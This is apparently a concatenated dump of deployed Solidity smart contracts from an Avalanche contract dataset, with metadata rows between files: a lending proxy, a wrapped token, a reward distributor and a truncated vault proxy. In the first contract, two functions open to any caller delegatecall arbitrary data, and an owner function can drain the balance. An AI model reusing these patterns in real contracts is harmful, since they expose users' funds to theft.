function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool);
function getBetaRate() external view returns (uint256);
function setBetaRate(uint256 _betaRate) external returns (bool);
}
contract proxy {
address payable owner;
uint256 handlerID;
string tokenName = "ether";
uint256 constant unifiedPoint = 10 ** 18;
marketManagerInterface marketManager;
interestModelInterface interestModelInstance;
marketHandlerDataStorageInterface handlerDataStorage;
marketSIHandlerDataStorageInterface SIHandlerDataStorage;
address public handler;
address public SI;
string DEPOSIT = "deposit(uint256,bool)";
string REDEEM = "withdraw(uint256,bool)";
string BORROW = "borrow(uint256,bool)";
string REPAY = "repay(uint256,bool)";
modifier onlyOwner {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
modifier onlyMarketManager {
address msgSender = msg.sender;
require((msgSender == address(marketManager)) || (msgSender == owner), "onlyMarketManager function");
_;
}
constructor () public
{
owner = msg.sender;
}
function ownershipTransfer(address _owner) onlyOwner external returns (bool)
{
owner = address(uint160(_owner));
return true;
}
function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool)
{
handlerID = _handlerID;
handler = handlerAddr;
SI = siHandlerAddr;
marketManager = marketManagerInterface(marketManagerAddr);
interestModelInstance = interestModelInterface(interestModelAddr);
handlerDataStorage = marketHandlerDataStorageInterface(marketDataStorageAddr);
SIHandlerDataStorage = marketSIHandlerDataStorageInterface(SIHandlerDataStorageAddr);
}
function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool)
{
handlerID = _handlerID;
return true;
}
function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool)
{
handler = handlerAddr;
return true;
}
function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool)
{
SI = siHandlerAddr;
return true;
}
function getHandlerID() public view returns (uint256)
{
return handlerID;
}
function getHandlerAddr() public view returns (address)
{
return handler;
}
function getSiHandlerAddr() public view returns (address)
{
return SI;
}
function migration(address payable target) onlyOwner public returns (bool)
{
target.transfer(address(this).balance);
}
fallback () external payable
{
require(msg.value != 0, "DEPOSIT use unifiedTokenAmount");
}
function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function handlerViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
}
contract CoinHandlerProxy is proxy {
constructor()
proxy() public {}
}
| 335,003 | 13,972 |
29f3acc51bc00fffc4679b63ae8e06289dec85da05554edde1a0ec8b23e913dd
| 30,229 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2f/2Fd5352EcE6b1A8243f59913061FD494bcB59b46_wsDB.sol
| 3,206 | 12,554 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsDB {
function index() external view returns (uint);
}
contract wsDB is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sDB;
constructor(address _sDB) ERC20('Wrapped sDB', 'wsDB') {
require(_sDB != address(0));
sDB = _sDB;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sDB).transferFrom(msg.sender, address(this), _amount);
uint value = sDBTowsDB(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wsDBTosDB(_amount);
IERC20(sDB).transfer(msg.sender, value);
return value;
}
function wsDBTosDB(uint _amount) public view returns (uint) {
return _amount.mul(IsDB(sDB).index()).div(10 ** decimals());
}
function sDBTowsDB(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsDB(sDB).index());
}
}
| 104,756 | 13,973 |
4e7b86d37ef61b3bcf1f744af7e12baf4e102b681f42b31dc7abdd1b22d89390
| 16,169 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9f/9fFF77EC696085DCFee2c0e955045eACCBBD7C6c_IglooDistributor.sol
| 3,400 | 13,878 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract IglooDistributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable TIME;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _igloo, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = ITreasury(_treasury);
require(_igloo != address(0));
TIME = IERC20(_igloo);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
emit LogDistribute(info[ i ].recipient, nextRewardAt(info[ i ].rate));
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
uint initial = info[ _index ].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
}
info[ _index ].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return TIME.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "IA");
require(_rewardRate <= 5000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
require(_target <= 5000, "Too high reward rate");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 86,479 | 13,974 |
1708d298f336eccb2e3c43b19eea9061b38336329eeccc387aa2c57df6a120d2
| 28,919 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ee/eea35ef62adbc3bbd4ef137e7cfaba612248f784_VaultProxy.sol
| 3,075 | 12,497 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/TransparentUpgradeableProxy.sol)
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol)
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
